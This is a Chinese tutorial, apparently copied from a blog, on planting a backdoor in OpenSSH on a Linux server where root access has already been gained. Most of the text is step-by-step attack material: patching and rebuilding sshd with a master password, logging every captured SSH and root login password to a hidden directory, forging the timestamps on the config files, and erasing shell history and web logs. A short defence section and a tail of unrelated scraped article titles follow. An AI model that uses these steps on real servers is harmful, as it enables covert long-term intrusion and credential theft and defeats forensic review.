相对于Windows操作系统,Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以留一个隐形的后门,达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门,使用OpenSSH留后门是入侵者的惯用方式之一,OpenSSh后门比较难于检测,本文就如何添加OpenSSH后门以及防范后门添加进行探讨。

1.1OpenSSH简介

OpenSSH是SSH(Secure SHell)协议的免费开源实现,很多人误认OpenSSH为与OpenSSL有关联,但实际上这两个计划的有不同的目的,不同的发展团队,名称相近只是因为两者有同样的软件发展目标──提供开放源代码的加密通讯软件。OpenSSH是OpenBSD的子计划其官方网站地址为http://www.openssh.com/,OpenSSH各个版本可以到其官网下载,推荐一个下载地址:http://ftp5.eu.openbsd.org/ftp/pub/OpenBSD/OpenSSH/。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcp、ftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控件和文件传输过程中的数据,并由此来代替原来的类似服务。OpenSSH是使用SSH透过计算机网络加密通讯的实现。它是取代由SSH Communications Security所提供的商用版本的开放源代码方案。在OpenSSH服务中sshd是一个典型的独立守护进程,OpenSSH服务可以通过/etc/ssh/sshd_config文件进行配置。OpenSSH 支持 SSH 协议的版本 1.3、1.5、和 2。自从 OpenSSH 的版本2.9以来,默认的协议是版本2。

1.2准备工作

SSH后门目前网上支持版本为5.9以下,因此如果显示信息中的版本为5.9以下才能使用,如图1所示,使用“ssh –V”命令获取的OpenSSH版本为“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。对高于5.9版本未做测试,理论上是可行的,因为在patch中可以直接修改banner。特别需要注意,这个版本号一定要记录下来,在编译时将该信息进行伪装。

(5)备份SSH原始配置文件

如图2所示,将ssh_config和sshd_config分别备份为ssh_config.old和sshd_config.old。在Linux终端中分别执行文件备份命令:

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old

mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

(6)解压ssh后门

将sshbd.tgz下载到本地并解压到本地,如图3所示,执行以下命令:

tar zxvf sshbd.tgz

cd openssh

使用官方openssh-5.9p1进行安装后门的可以执行以下命令

tar zxf openssh-5.9p1.tar

tar zxf openssh-5.9p1.path.tar

cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1

cd openssh-5.9p1

patch < sshbd5.9p1.diff

1.3设置ssh后门的登录密码及其密码记录位置

在openssh目录中找到includes.h,使用“vi includes.h”修改define _SECRET_PASSWD为自己的登录密码,如图4所示,默认密码记录日志文件保存在/usr/local/share/0wn目录下的slog和clog文件。例如定义密码为“995430aaa”

define _SECRET_PASSWD " 995430aaa"

1.4安装并编译

1.进行编译和安装

./configure –prefix=/usr –sysconfdir=/etc/ssh

make && make install

openssh-5.9p1需要用下面这个命令进行配置:

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

在编译过程中可能会出现“configure: error: *** zlib.h missing – please install first or check config.log”错误,可以执行“yum install zlib-devel和yum install openssl openssl-devel”安装后再次编译即可。

2.重启SSHD服务

执行“/etc/init.d/sshd restart”命令重启sshd服务。

3.还原新配置文件为旧配置文件时间

执行以下命令,将ssh_config和sshd_config修改时间跟ssh_config.old和sshd_config.old一致。

touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config

touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config

mtime(modify time):最后一次修改文件或目录的时间

ctime(chang time) :最后一次改变文件或目录(改变的是原数据即:属性)的时间

如:记录该文件的inode节点被修改的时间。touch命令除了-d和-t选项外都会改变该时间。而且chmod,chown等命令也能改变该值。

atime(access time)::最后一次访问文件或目录的时间

ls -l file : 查看文件修改时间

ls -lc file: 查看文件状态改动时间

ls -lu file: 查看文件访问时间

stat file 文件时间三个属性

1.5登入后门并查看记录的密码文件

使用“ssh -l root IP”命令登录服务器,例如“ssh -l root 192.168.52.175”登录,可以使用root的密码,也可以使用后门设置的密码“995430aaa”进行登录。然后到/usr/local/share/0wn目录查看其记录的密码日志文件clog和slog,如图5所示,可以看到ssh登录和本地root帐号登录的密码。

1.6 清除日志

export HISTFILE=/dev/null

export HISTSIZE=0

cd /etc/httpd/logs/

sed -i ‘/192.168.52.175/d’ access_log*

echo >/root/.bash_history //清空操作日志

1.7OpenSSH后门防范方法

(1)重装openssh软件,更新至最新版本7.2

(2)更换ssh默认登录端口22为其它端口。

(3)在iptable中添加ssh访问策略。

(4)查看命令历史记录,对可疑文件进行清理,在有条件的情况下,可重做系统。

(5)修改服务器所有密码为新的强健密码。

(6)利用strace找出ssh后门,首先利用命令“ps aux | grep sshd”获取可疑进程PID,使用“strace -o aa -ff -p PID”进行跟踪,然后登录ssh,成功登录之后,在当前目录,生成了strace的输出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看记录密码打开文件。在上面命令中过滤掉错误信息和/dev/null信息,以及denied信息,并且找读写模式打开(WR)的,因为要把记录的密码写入文件,肯定要是以写方式打开的文件,可以可以找到以读写方式记录在文件中的ssh后门密码文件位置,通过该方法来判断是否存在ssh后门。当然也有不记录密码,而仅仅留一个万能ssh后门。

linux服务器ssh忘记root密码,linux: OpenSSH后门获取root密码及防范相关推荐

  1. OpenSSH后门获取root密码及防范

    OpenSSH后门获取root密码及防范 相对于Windows操作系统,Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者 ...

  2. 快速找出Linux服务器上不该存在恶意或后门文件

    转载来源 :如何快速找出Linux服务器上不该存在恶意或后门文件 :https://www.2cto.com/article/201805/748965.html 如何快速找出Linux服务器上不该存 ...

  3. linux中ssh免密登录,Linux之SSH免密登录

    Linux 双向 SSH 免密登录 原理 双向,顾名思义,双方互通,此处的意思是多台 linux 两两免密登录.双向比单向多了些操作,单向只需把某一个linux的公钥发送给其他linux即可,而双向要 ...

  4. 空服务器安装linux,debian服务器linux服务器web建站搭建linux服务器之Debian安装

    debian服务器linux服务器web建站搭建linux服务器之Debian安装 原文来自i火吧 大家都知道linux的发行版本很多,有centos啊,debian啊,ubuntu等,下面我就用de ...

  5. 视频教程-Linux服务器运维/虚拟主机-Linux

    Linux服务器运维/虚拟主机 云知梦创始人,国际架构师,11年互联网培训和开发经验,曾在港电讯盈科.北大青鸟集团.远大教育.北京易第优教育等公司任职曾获得美国红帽RHCA构架师和RHCDS数据中心讲 ...

  6. C/C++Linux服务器开发高级架构师/Linux后台开发架构师丨高级进阶学习

    01 课程介绍 [录播]课程介绍(66分钟) 免费试学 [录播]磁盘存储链式的B树与B+树(131分钟) 免费试学 免费学习视频链接点击:C/C++Linux服务器开发高级架构师/Linux后台架构师 ...

  7. app调用root权限,安卓app获取root权限

    请教如何提升app的权限,root权限 方法如下: 方法一: 1.在手机的应用中心搜索一键ROOT工具. 2.挑选后进行下载. 3.下载安装完毕后运行软件,点击一键获取ROOT. 方法二: 1.数据线 ...

  8. 华为nova2自带计算机,华为Nova2 root图文教程 华为Nova2获取root权限的方法

    2017-09-12 16:14:42 华为Nova2 root图文教程 华为Nova2获取root权限的方法 来源:刷机之家 标签:华为Nova2,华为Nova2root教程,华为Nova2获取ro ...

  9. 一加手机怎么root权限_一加手机3 root教程 一加3获取root权限的方法

    2017-09-14 14:13:24 一加手机3 root教程 一加3获取root权限的方法 来源:刷机之家 标签:一加手机3,root教程,获取root 刷机之家小编看到网上有一些机友说了一下有关 ...

最新文章

  1. 实现JDK没有提供的AtomicFloat
  2. python基础教程:3种控制流语句(if,for,while)
  3. 05.内存管理.md
  4. python统计段落单词词频_使用Python统计文件中词频,并且生成词云
  5. 【大牛系列教学】java面试常考的编程题
  6. matlab小区制移动通信网,LTE习题 - 无线移动 - 通信人家园 - Powered by C114
  7. 酒店房间登记与计费管理系统《c语言课程设计》 文库,C语言课程设计--酒店房间登记与计费管理系统程序代码...
  8. springboot系列十二、springboot集成RestTemplate及常见用法
  9. android 混淆报错记录
  10. c语言中万年历公历农历转换,公历农历转换,教你切换阳历和阴历生日
  11. 使用GitHub制作一个高逼格的在线简历
  12. DbVisualizer 8.0.11 出现乱码问题
  13. U盘文件夹变成快捷方式解决方案
  14. StarUML 3 中文文档 包图
  15. oracle动态update语句
  16. 方队 - 启发式合并 - 主席树
  17. GARCH模型案例分析
  18. 通过ssh隧道访问mysql
  19. 阿里巴巴的 eclipse 代码检查工具如何安装?
  20. 视频信号 | 双绞线视频传输器

热门文章

  1. 可变车道怎么走不违章_可变车道不敢走?老司机教你正确的行驶方式,再也不怕违章了...
  2. 面试 Javascript 中的 CJS, AMD, UMD 和 ESM是什么?
  3. C#创建及访问网络硬盘
  4. 惠普多功能一体机,忘记密码时如何处理?
  5. 目标检测——day46 可转移交互性知识的人机交互检测
  6. EXT.apply方法详解
  7. redis分布式缓存应用—五大数据类型:key/String/Hash/List/Set/Zset,配置文件redis.conf解析
  8. 数字货币分析的相关网站
  9. 补写出下列名篇名句中的空缺部分
  10. 水电改造常遇到的问题